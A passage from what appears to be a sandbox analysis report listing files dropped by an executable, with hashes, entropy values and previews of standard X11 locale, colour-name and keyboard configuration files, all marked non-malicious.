Preview:	# XFree86 NLS for Chinese locale zh_HK.UTF-8.# Modified from xc/nls/XLC_LOCALE/en_US.UTF-8.# by James Su <suzhe@turbolinux.com.cn>..# .# XLC_FONTSET category.# .XLC_FONTSET..on_demand_loading True..object_name generic..# We leave the legacy encodings in for the moment, because we don't.# have that many ISO10646 fonts yet..# fs0 class (7 bit ASCII).fs0 {. charset {. name ISO8859-1:GL. }. font {. primary ISO8859-1:GL. vertical_rotate all. }.}..# fs1 class (ISO8859 families).fs1 {. charset {. name ISO8859-1:GR. }. font {. primary ISO8859-1:GR. }.}..# fs2 class.fs2 {. charset {. name BIG5HKSCS-0:GLGR. }. font {. primary BIG5HKSCS-0:GLGR. substitute BIG5-0:GLGR. }.}..# fs3 class.fs3 {. charset {. name ISO10646-1.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_HK.big5\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	306
Entropy (8bit):	4.638703785875134
Encrypted:	false
SSDEEP:	6:LqSfL5kc/jz1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:LqS9le6ldo0+62XdUmhn
MD5:	EB7A3ED832ECDD0C5FDD43E0AA006CD8
SHA1:	64D24218B1AE25433D4D88BDDBAB382742EEC543
SHA-256:	D50752F41483B4FCCC322617436B9B776D8042DCC9DACA5AEA14D777D49DE29B
SHA-512:	76F7331A2ADAC278C3594ECFC97DFFE2451C3894FA92E1649A4581C282AD1C4A380A5071ED8C22846FEC61FBEA67CBDB912BE0D7C75F8E528969A8B47EBC333B
Malicious:	false
Preview:	#.# zh_HK.big5 Compose Sequence.#.# Sequence Definition.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_HK.big5\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.214427408241873
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFasKnR8jLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMlAOeCXoXKfXoc9RwvIo8WJb
MD5:	5DB17A600AA66D8A5E159E51CE22CF4D
SHA1:	72799DF42ABBA49D3A851240F96367B2F9469B4B
SHA-256:	106B13EC77C4EE6BE2E731694FE7B55767BCDDE240C5ED031A2CE63681E37D67
SHA-512:	9BB3A240E4C222013F9B4716C4D8B8E2EA32005CD44284ED4C4156CD80CEB41C407C5D539B02EF137764CFCE029293207123F0C9F32D454819E7485750A01095
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for zh_HK.big5 locale.#.XLC.common/xlibi18n._XlcGenericLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_HK.big5\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	5.504181708111803
Encrypted:	false
SSDEEP:	24:XSFlDujP/zDVK21x7rXC5wFQwmDJ7/tfGmzMlhQAZDNa2M6Gxv:X0DcpTx/XIFNsk0hQ52M6Gd
MD5:	ACDB2FCA5EFCF809BDB6CDADAC824C12
SHA1:	C58AB81217516DED3699931756646ACF3D95E95C
SHA-256:	5CF74669B2BAF783BF08BA1EFE28FB59B31B0091DE4A4FD3BA23BF2B1788B53F
SHA-512:	754061B063A7C40C84B1553F8BA5F8DC861E2EB79982155BCB6D072D217BFFF1B5673A7ED6A73211E4BF53634B9AE11D842BD70258B784905EC941054FB2EFA3
Malicious:	false
Preview:	# .# (c) 1996, X11R6 L10N for Taiwan and Big5 Encoding Project.# .# modified for X11R6.3 by Hung-Chi Chu <hcchu@r350.ee.ntu.edu.tw> 1998/01/10.# .# .XLC_FONTSET category.#.# .XLC_FONTSET.# fs0 class (7 bit ASCII).fs0 {..charset {...name.ISO8859-1:GL..}..font {...primary.ISO8859-1:GL...vertical_rotate all..}.}.# fs1 class.fs1 {..charset {...name.BIG5-0:GLGR..}..font {...primary.BIG5-0:GLGR...substitute BIG5-0:GLGR..}.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..zh_HK.Big5.mb_cur_max..2.state_depend_encoding.False..wc_encoding_mask.\x00008000.wc_shift_bits..8..use_stdc_env..True.force_convert_to_mb.True..# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-1:GL.}..# .cs1 class.cs1.{..side..none..length..2..byte1..\xa1,\xf9..byte2..\x40,\x7e;\xa1,\xfe...wc_encoding.\x00008000..ct_encoding.BIG5-0:GLGR:\x1b\x25\x2f\x32\x80\x89\x42\x49\x47\x35\x2d\x30\x02...mb_conversion.[\xa140,\xf9fe]->\x2

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_HK.big5hkscs\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	4.647529879323954
Encrypted:	false
SSDEEP:	6:LqQVhL5kc/jz1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:LqQVTle6ldo0+62XdUmhn
MD5:	3F3C9C9CC9C4A9E2DF7039755C66BDB0
SHA1:	CA7FBD871DFFFE24FFC881990F840957B7C146E0
SHA-256:	651BC042F62077ECCD73E52005961D913B191413001EF0AF6F8152B043F280B3
SHA-512:	3167809B6AC537A0C95C6327A7546F4E5715515D575CA9DFE70C1EAEC9D2509E7BD60DE60C49275DC48A813F4874A8CF4C7C35AF7D90F2908CDCB78E41F24D09
Malicious:	false
Preview:	#.# zh_HK.big5hkscs Compose Sequence.#.# Sequence Definition.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_HK.big5hkscs\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.22762494090811
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFzT+sKnR8jLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMdTAOeCXoXKfXoc9RwvIo8WJb
MD5:	813451867B40BADACADB07A4F18EE2AE
SHA1:	CF62E8FD20AF415DC9CD5E0C4E2F307FB055566B
SHA-256:	F9E3EC1CE066DA306F6EDEE42764C9CB8E586D900FD9341A9774A63C1D1ECF22
SHA-512:	7A54BAECAA506A8617D6DD9B53F368513FBFBC0B4B1EF321F6A74BA9A60A9BF4594A31DE4F7FEA30DF9A1565C91AA0F53024F10873AF2AABA5A2DF10B19822F3
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for zh_HK.big5hkscs locale.#.XLC.common/xlibi18n._XlcGenericLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_HK.big5hkscs\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	5.585727954506098
Encrypted:	false
SSDEEP:	24:wFlh2kWULEIm/EI7+/0twFQwWnDJ7/tmmz5lhQqbyB:+hOUwl/EIq/eVnNok5lhQkyB
MD5:	DC7A84590A1724FE6F8B31B45766F31E
SHA1:	B8C43E2989377EECBCAB1C1FDBF9181FE5B4DA5F
SHA-256:	EEF782317993EA806601DA009F823985B856BD04C0F6A8CFA05C250B1378EAC9
SHA-512:	3FE5DB196F771D4AA6F353AD2D0176562B8AF43BB1FEF5BA304D7887023CA1DAE8AB19C44D34D4369A48A293708D39EE0AB213CDC729A33330227C2FB8DCC7D5
Malicious:	false
Preview:	#.# (c) 1996, X11R6 L10N for Taiwan and Big5 Encoding Project.#.# modified for X11R6.3 by Hung-Chi Chu <hcchu@r350.ee.ntu.edu.tw> 1998/01/10.# modified for Big5HKSCS by Roger So <roger.so@sw-linux.com> .#.#.#.XLC_FONTSET category.#.XLC_FONTSET.# fs0 class (7 bit ASCII).fs0.{..charset.{...name.ISO8859-1:GL..}..font.{...primary..ISO8859-1:GL...vertical_rotate.all. }.}..# fs1 class (HKSCS extensions).fs1.{..charset.{...name.BIG5HKSCS-0:GLGR..}..font.{...primary..BIG5HKSCS-0:GLGR...substitute.BIG5HKSCS-0:GLGR..}.}.END XLC_FONTSET..#.#.XLC_XLOCALE category.#.XLC_XLOCALE..encoding_name..zh_HK.big5hkscs.mb_cur_max..2.state_depend_encoding.False..wc_encoding_mask.\x00008000.wc_shift_bits..8..use_stdc_env..True.force_convert_to_mb.True..+XCOMM.cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-1:GL.}..#.cs1 class.cs1.{..side..none..length..2..byte1..\x85,\xfe..byte2..\x40,\x7e;\xa1,\xfe...wc_encoding.\x00008000..ct_encoding.BIG5HKSCS-0:GLGR:\x1b\x25

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_TW.UTF-8\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_TW.UTF-8\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.268416652665997
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMF4xSsK6lqLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMKf3qeCXoXKfXoc9RwvIo8WJb
MD5:	4ED99C616118FCECE3725D265F1FAF55
SHA1:	21B726ABA136DCB931191ADCD6115873A844344B
SHA-256:	E67615CEBCE31EF62695E4B4F3603EE88C099C4CE66C2320FC3EE14EB9BD5910
SHA-512:	DE835402FF113514352D325578B2AAE2EFC88B0FE6A7528252C3772060292DAA1DB85E41C8785E1F3641676DFCFC0BCE87E371843E352C7E7FF3A3E8741E4113
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for zh_TW.UTF-8 locale.#.XLC.common/xlcUTF8Load._XlcUtf8Loader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_TW.UTF-8\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1238
Entropy (8bit):	5.119004549453327
Encrypted:	false
SSDEEP:	24:ea2jPJrdXLEI2ZXp2TcbRrIKzAluDJ7KQm4z8SWFtv3wC:IP5dXwdZ5ic1IuGuAD44Fv3n
MD5:	70EBCB0B4AFAD4A7C30A668624C7570D
SHA1:	5749F841FED48E3760F546625F03A284744231F8
SHA-256:	E2646D1D3BA25709C8EEFCC34BBE538DF83AC717A857B62E5403CEB76BDDD792
SHA-512:	D1F100A5E2E86A7818D03C2F2F5FED4F87CA8E8E5FEA563A0FC18C56700C44D45F4F72957FE0AEEBE10D1F6A3CD1D13843FF7AB6DA6D32B36C192D646C5F968B
Malicious:	false
Preview:	# XLocale Database Sample for zh_TW.UTF-8.# ..# .# .XLC_FONTSET category.# .XLC_FONTSET..on_demand_loading.True..object_name..generic..#.We leave the legacy encodings in for the moment, because we don't.#.have that many ISO10646 fonts yet..# .fs0 class (7 bit ASCII).fs0.{..charset.{...name.ISO8859-1:GL..}..font.{...primary..ISO8859-1:GL...vertical_rotate.all..}.}.#.fs1 class (ISO8859 families).fs1.{..charset.{...name.ISO8859-1:GR..}..font.{...primary.ISO8859-1:GR..}.}.# .fs2 class (Chinese Han Character (Traditional)).fs2.{. charset {. name BIG5-0:GLGR. }. font {. primary BIG5-0:GLGR.....substitute BIG5-0:GLGR. }.}.#.fs3 class.fs3.{..charset.{...name.ISO10646-1..}..font.{...primary.ISO10646-1..}.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..UTF-8.mb_cur_max..6.state_depend_encoding.False..#.cs0 class.cs0.{..side..GL:Default..length..1..ct_encoding.ISO8859-1:GL.}..#.cs1 class.cs1 {.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_TW.big5\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	308
Entropy (8bit):	4.631719202102974
Encrypted:	false
SSDEEP:	6:Lq6fL5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:Lq69Ae6ldo0+62XdUmhn
MD5:	C3F5CC63A9832EC87400F6C4A4CA39EC
SHA1:	4EB7283E7F213ED5BE2D26A8EE845C8E19180175
SHA-256:	DBF9EFFA2B4DF1F4DA329F9CFE528B5347EF171D421D43C35B1FB6A43F2B6BE7
SHA-512:	2F6678A50828323D38641FC2B5D4CC64B4D35E69344683DB52A9B53AC4B04AE35E89CB3B2C1AC1D0F6CAFF16857AAEB756895F06F76EE0ED4D1B87B55DDDBE05
Malicious:	false
Preview:	#.# zh_TW.big5 Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_TW.big5\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.212232967828607
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFCsKnR8jLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMlAOeCXoXKfXoc9RwvIo8WJb
MD5:	8885C6655EDE4A43B78DBE69BC0209F9
SHA1:	AE7F0CB65D12D400ECE16C2A9B984CC627206851
SHA-256:	675460866B5990E87BF9E967D1B8623D45CC70625839C57F113B030E214500CA
SHA-512:	98B23E31A94774F4ADA63C67082C18B04A3AC7D24B3B6FC8A48CD091DF132C9CD4B7A3542B019ED2DC8FB980238BC5153D9421DE9A425807C0E3E5B1FADE841F
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for zh_TW.big5 locale.#.XLC.common/xlibi18n._XlcGenericLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_TW.big5\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text, with very long lines (4488)
Category:	dropped
Size (bytes):	9532
Entropy (8bit):	4.802189519588937
Encrypted:	false
SSDEEP:	192:+47lDz5C5B9DFxBIr/XPI+QD32x2MT+gr9rY/PpzyqE2TabNJKX:t9MrDFUrXA332BKgr9OPYx2IJKX
MD5:	46376AF8C8FC2F6F5251E2587E8D23CF
SHA1:	2145F49C2C3C1D3B51BCA78C51EF2DADB11C2B46
SHA-256:	3DE6BD76481297191CA71A8672B35B43C430CF94F44B88168CAEAE4013BCA219
SHA-512:	912F068C3AA553B343449FA8ADAD7D8BB5EA7641BAF7C1A845BD75382800C0C6138BE5803A8E083526F45FAA0133D9643F7B39FF31DF525BF8576DD65AC3547A
Malicious:	false
Preview:	#.# (c) 1996, X11R6 L10N for Taiwan and Big5 Encoding Project.#.# modified for X11R6.3 by Hung-Chi Chu <hcchu@r350.ee.ntu.edu.tw> 1998/01/10.#.#.#.XLC_FONTSET category.#.XLC_FONTSET.# fs0 class (7 bit ASCII).fs0 {. charset {. name ISO8859-1:GL. }. font {. primary ISO8859-1:GL. vertical_rotate all. }.}.# fs1 class.fs1 {. charset {. name BIG5-0:GLGR. }. font {. primary BIG5-0:GLGR.....substitute BIG5-0:GLGR. }.}.END XLC_FONTSET..#.#.XLC_XLOCALE category.#.XLC_XLOCALE..encoding_name..zh_TW.Big5.mb_cur_max..2.state_depend_encoding.False..wc_encoding_mask.\x00038000.wc_shift_bits..8...use_stdc_env..True.force_convert_to_mb.True...#.cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-1:GL.}..#.cs1 class.cs1.{..side..none..length..2..byte1..\xa1,\xf9..byte2..\x40,\x7e;\xa1,\xfe...wc_enco

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_TW\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	4.582203451923631
Encrypted:	false
SSDEEP:	6:LqzL5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:LqBAe6ldo0+62XdUmhn
MD5:	997646AD5486BB37C2A1AE3102A86B7F
SHA1:	31C5F244FB1263BD47D3C94657A788600938B42B
SHA-256:	316AC3D4419E9BEF90ACE26B203C1964ECD53D442D4D8CE5B541ED414B8F9DBC
SHA-512:	FBA5B208287322DB384B526FCDE7CF49BF59001CC670A0C2174328BAD5164E47DB25142619F9E3FF6F941C4B7A58247F463EFC0ABC64BEFBBB25B865F890C8C6
Malicious:	false
Preview:	#.# zh_TW Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_TW\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	244
Entropy (8bit):	5.195974417417543
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFPsKnR8jq4LFH6KwJJZWFvb:/NqvnSIM6AOXxaxMvb
MD5:	6AA745531F36E329E11E3DE6F20CC258
SHA1:	694496147BAEDCB4DBD1972702B88949C149DA68
SHA-256:	40DEB13F5D81187A233D543DA4509610D5647AF4C74B202A530923AA9946449C
SHA-512:	B0D63789BE5E0D81D1D673A4E69E6D5E4170CBDF1272A8A42240F2BE34674D7FD0DD26BABDA7470156A92779C6E33C57FE601C6C706A1119457209CF8B346855
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for zh_TW locale.#.XLC.common/xlibi18n._XlcGenericLoader.# XLC_open.XIM.common/ximp40.._Ximp_OpenIM..# XIM_open.XOM.common/xomGeneric._XomGenericOpenOM # XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\zh_TW\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2296
Entropy (8bit):	5.428589009920212
Encrypted:	false
SSDEEP:	48:rfi/ayCeim2Me6w0UcOjwmHjOwjxTjDyKjX1NUTO5id5y5xv2dV5ydHf5WdtC58:rfWayCb9cg3DOmxvDyMEm+5ep6vOHhaf
MD5:	719E455A7248BFDAAED23338E8BA89D3
SHA1:	639666C2B57998F228632D79BAEF3914A41178D5
SHA-256:	16F1B81AAB4C68A5BF8868BBFB4EF1D88D0F04E703461FAE6C1BDBFCCC3CDCF8
SHA-512:	0C63A5F7F368F06A81BAE8382BCA994FA7F276B200017CBE02C05FDE4952019D2023610BCCE631A3A188A01DF2C06228AD01FF5A26283C761274F4705283FAEF
Malicious:	false
Preview:	# XLocale Database Sample for zh_TW.# .# Note: In lib/X11/lcCT.c, charset names for CNS11643 coded character.# sets are defined as CNS11643.1986-1 and -2. In the ECMA Registry,.# CNS coded character sets 1-7 are registered as CNS 11643-1992..# CJK.INF Version 1.7 (August 15, 1995) written by Ken Lunde says.# plane 14 of CNS 11643-1983 now became plane 3 of CNS 11643-1992..# I do not know how Taiwanese EUC is organized currently, so I left the.# X11R6 organization of fsN/csN as it is and only changed "CNS11643-".# to "CNS11643.1986-"..#.1995-10-24.T. Numata (numa@rp.open.cs.fujitsu.co.jp)..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name.ISO8859-1:GL..}..font.{...primary..ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class.fs1.{..charset.{...name.CNS11643.1986-1:GL..}..font.{...primary.CNS11643.1986-1:GL..}.}.# .fs2 class.fs2.{..charset.{...name.CNS11643.1986-2:GL..}..font.{...primary.CNS11643.1986-2:GL..}.}.# .fs3 class .fs3.{..charset.{

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\rgb.txt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	17315
Entropy (8bit):	4.698942388839902
Encrypted:	false
SSDEEP:	384:M9jf0Kv7lpt3oQiJoGiW1pfdVzg5jdmK9RABxCyPhccrsiq4wCoOmAMbA:MBdbGiWvUTqzPqcrslA
MD5:	001968DEC64099AF71EBB4C914DCA955
SHA1:	F4B065FB07D9B9DDB0FE2DECA5F6DBE5053AC54B
SHA-256:	8C10879038A8ED4FBC1E0DE93D2E4EA679EFB7662975595CFFCFAD7C696AAE24
SHA-512:	C2C063679090AFE9602953DB508D67E21D0695AFC8BECF6C5D3159F51FFAC9128E2A385D54C76D01E5CF1A144C0A00648731073169CECE905AEE6C796AFAB6D0
Malicious:	false
Preview:	255 250 250..snow.248 248 255..ghost white.248 248 255..GhostWhite.245 245 245..white smoke.245 245 245..WhiteSmoke.220 220 220..gainsboro.255 250 240..floral white.255 250 240..FloralWhite.253 245 230..old lace.253 245 230..OldLace.250 240 230..linen.250 235 215..antique white.250 235 215..AntiqueWhite.255 239 213..papaya whip.255 239 213..PapayaWhip.255 235 205..blanched almond.255 235 205..BlanchedAlmond.255 228 196..bisque.255 218 185..peach puff.255 218 185..PeachPuff.255 222 173..navajo white.255 222 173..NavajoWhite.255 228 181..moccasin.255 248 220..cornsilk.255 255 240..ivory.255 250 205..lemon chiffon.255 250 205..LemonChiffon.255 245 238..seashell.240 255 240..honeydew.245 255 250..mint cream.245 255 250..MintCream.240 255 255..azure.240 248 255..alice blue.240 248 255..AliceBlue.230 230 250..lavender.255 240 245..lavender blush.255 240 245..LavenderBlush.255 228 225..misty rose.255 228 225..MistyRose.255 255 255..white. 0 0 0..black. 47 79 79..dark slate gray. 47 79

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\accessx

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	4.710308260073577
Encrypted:	false
SSDEEP:	24:K+BOllSx1FTSAv3J8+cDG0GkuAq9ALizuhE7m8:JObSx11SAv3J8+cDGt7h9oizKE68
MD5:	273F3C15E0E866C877C743B63ABDC774
SHA1:	55DC6D73084DA31AFA0C7B0609CC2FF0655275C6
SHA-256:	0EE47ADB0725199F63BDB7465CACF56CF048639009393197B5DAD303020EC004
SHA-512:	21B608B9881F98EC68D6C9E88963ABD5E02731BF210E4DF6065EE1B61860A83A7D8773327CDAA2CFA988173F9E2697DB03A443DED6800D01A57BEB4620FC1155
Malicious:	false
Preview:	default partial xkb_compatibility "basic" {. interpret AccessX_Enable { ..action= LockControls(controls=AccessXKeys); . };.};..partial xkb_compatibility "full" {.. interpret AccessX_Enable {..action= LockControls(controls=AccessXKeys); . };.. interpret AccessX_Feedback_Enable { ..action= LockControls(controls=AccessXFeedback); . };.. interpret RepeatKeys_Enable {..action= LockControls(controls=RepeatKeys);. };.. interpret SlowKeys_Enable {..action= LockControls(controls=SlowKeys);. };.. interpret BounceKeys_Enable {..action= LockControls(controls=BounceKeys);. };.. interpret StickyKeys_Enable {..action= LockControls(controls=StickyKeys);. };.. interpret MouseKeys_Enable {..action= LockControls(controls=MouseKeys);. };.. interpret MouseKeys_Accel_Enable {..action= LockControls(controls=MouseKeysAccel);. };.. interpret Overlay1_Enable {..action= LockControls(controls=Overlay1);. };.. interpret Overlay2_Enable {..action= LockC

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\basic

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1053
Entropy (8bit):	4.867086965302874
Encrypted:	false
SSDEEP:	24:/FEhfG6bBbO5Wn0Ed5HQnmrO2uakWcueCgA7:mfG6bJO5Wn75wnmrwakWjGA7
MD5:	1628D23F64F27901125B990BC4B6579D
SHA1:	A3E51EF68FA3702BF5E3FD1298C7200B27C9EF51
SHA-256:	5C17CC143DEA46D6363996024A219D25B4AD96321A6C68027B6F11CE126FCAF7
SHA-512:	8496A5F52D0818481CD3071FF8268153301C6F578C26E54AA57240ADDFD0EBA2EC1C06222A5C505EEDA901E718054E6AA2FC35FC1B3704E7C6D8779AF966C109
Malicious:	false
Preview:	// Minimal set of symbol interpretations to provide .// reasonable default behavior (Num lock, shift and .// caps lock and mode switch) and set up the .// automatic updating of common keyboard LEDs...default xkb_compatibility "basic" {. virtual_modifiers NumLock,AltGr;.. interpret.repeat= False;. setMods.clearLocks= True;. latchMods.clearLocks= True;. latchMods.latchToLock= True;.. interpret Shift_Lock+AnyOf(Shift+Lock) {..action= LockMods(modifiers=Shift);. };.. interpret Any+Lock {..action= LockMods(modifiers=Lock);. };.. interpret Num_Lock+Any {..virtualModifier= NumLock;..action= LockMods(modifiers=NumLock);. };.. interpret Mode_switch {..useModMapMods= level1;..virtualModifier= AltGr;..action= SetGroup(group=+1);. };.. interpret Any + Any {..action= SetMods(modifiers=modMapMods);. };.. group 2 = AltGr;. group 3 = AltGr;. group 4 = AltGr;.. include "ledcaps". include "lednum". indicator "Shift Lock" {..!allowExplicit;.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\caps

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	487
Entropy (8bit):	4.579259499726586
Encrypted:	false
SSDEEP:	12:SCHK3OrXrRfW+u32AX2WlyXnSRMFSv4eqXXK3:SCqOr71W+unX2+yXCMFScU
MD5:	E24F55868AD2E854C9C629FDDA81466E
SHA1:	2B143221F1A90EFABDCDA2E8A793C47AC65BC763
SHA-256:	4435CB92362E9F34F9623623E1701D178D3E05A2067A1269D854D0607947AEFA
SHA-512:	DD3D87EA9810D10E1E90EF8C726D01E9341865ED928F8E5D6413BE432218D8325E42C79A27B0D5E971B1F8461BDD8BB541387D87FCADB0D4B5AFB1F0E7559D3C
Malicious:	false
Preview:	partial xkb_compatibility "caps_lock" {. // Keysym Caps_Lock locks Lock modifier.. // With this, the keysym Caps_Lock can be used without binding the whole. // key to a real modifier...// This is essential when you don't want to use caps lock on the first..// level...// This should not have any compatibility issues when used together with..// other layouts which don't utilize this capability.. interpret Caps_Lock {. action = LockMods(modifiers = Lock);. };.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\compat\complete

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	229
Entropy (8bit):	4.368533439448041
Encrypted:	false
SSDEEP:	6:N4o6G66xAJs5DWM5fAPs5B+5055bFW5STz+51bev:CnG6xJsYMEsWyjbUSqfbev
MD5:	2BEAC68441D2078F89ECDA520CCABD39
SHA1:	270DA21D4E61AF003CD9698031D153D546FF4F0A
SHA-256:	AA6B2A1714D42B714C551011C0E5437219C84AC62AED9C11DA129A8559978370
